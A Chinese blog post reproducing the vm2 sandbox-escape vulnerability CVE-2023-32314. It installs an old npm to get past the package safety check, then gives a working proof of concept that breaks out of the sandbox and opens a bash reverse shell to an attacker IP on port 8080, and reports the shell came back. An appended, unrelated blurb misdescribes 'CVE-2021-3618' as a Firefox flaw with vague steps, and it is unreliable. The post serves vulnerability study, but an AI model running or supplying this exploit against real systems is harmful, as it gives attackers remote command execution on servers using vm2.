漏洞实现 --- Vm2沙箱逃逸漏洞复现(CVE-2023-32314)

Vm2沙箱逃逸漏洞复现

CentOS7(Nodejs和vm@3.9.17)

PS:安装低版本npm是为了规避npm的内部审核机制(高版本npm会检查vm2安装包的安全性)

(1)流程

  1. 低版本nodejs + 低版本npm
  2. 利用低版本npm安装vm@3.9.17
  3. 升级至高版本nodejs
  4. 复现漏洞

(2)开始操作

  • 安装低版本nodejs + 低版本npm
 wget http://nodejs.org/dist/v0.10.25/node-v0.10.25.tar.gz --- 解压
 mv node-v0.10.25-linux-x64 /usr/local/nodejs --- 更改名称
 ./configure --prefix=/usr/local/nodejs --- 配置目录
 make && make install --- 编译安装
 ln -s /usr/local/nodejs/bin/node /usr/local/bin --- 建立node软链接
 ln -s /usr/local/nodejs/bin/npm /usr/local/bin --- 建立npm软链接
 npm config set registry https://registry.npm.taobao.org --- 设置镜像源
 npm config list --- 查看设置信息

查看版本

安装gcc

  • 利用低版本npm安装vm2@3.9.17
npm install vm2@3.9.17

  • 升级nodejs至高版本

安装nvm

配置环境变量,使得环境变量生效

nvm list-remote --- 查看版本
nvm install v16.18.1 --- 安装指定版本
nvm use v16.18.1 --- 切换至指定版本
node --version --- 查看版本

最终复现环境所需版本

(3)漏洞复现

  • poc
const { VM } = require("vm2");
const vm = new VM();
 
const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("bash -i >& /dev/tcp/192.168.174.123/8080 0>&1").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;
 
console.log(vm.run(code));
  • 将poc写入js文件,并运行


  • 攻击机监听端口,执行1.js文件


  • 反弹成功

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
CVE-2021-3618漏洞是指影响了Mozilla Firefox浏览器的一个安全漏洞。该漏洞复现步骤如下: 1. 首先,你需要安装最新版本的Mozilla Firefox浏览器。确保你的浏览器已经更新到最新版本,因为最新版本通常会修复已知的漏洞。 2. 在Firefox浏览器中,打开一个新的标签页,并输入“about:config”(不包括引号)并按下Enter键。这将打开Firefox的高级配置页面。 3. 在搜索栏中输入“security.sandbox.content.level”(不包括引号),然后按下Enter键。你将看到一个名为“security.sandbox.content.level”的首选项。 4. 将“security.sandbox.content.level”的值更改为“0”(不包括引号)。这将禁用Firefox的内容沙箱。请注意,这将降低浏览器的安全性,请谨慎操作。 5. 关闭并重新启动Firefox浏览器,使更改生效。 6. 现在,你可以尝试复现CVE-2021-3618漏洞。使用Firefox浏览器访问一个存在安全漏洞的网站,如已知的恶意或受攻击的网站,或使用特定的payload触发漏洞。 7. 如果复现成功,可能会出现安全漏洞所导致的异常行为,比如系统崩溃、恶意代码执行等。如果没有出现异常行为,可能是因为已经修复了该漏洞或在你的环境中无法成功利用。 需要注意的是,复现CVE漏洞可能存在风险,并可能对你的计算机造成不可逆转的损害。这种操作只适用于在合法情况下进行安全测试和研究的专业人士,不推荐普通用户进行尝试。实施复现操作之前,请确认你已经了解并接受相关风险。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

雨天_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值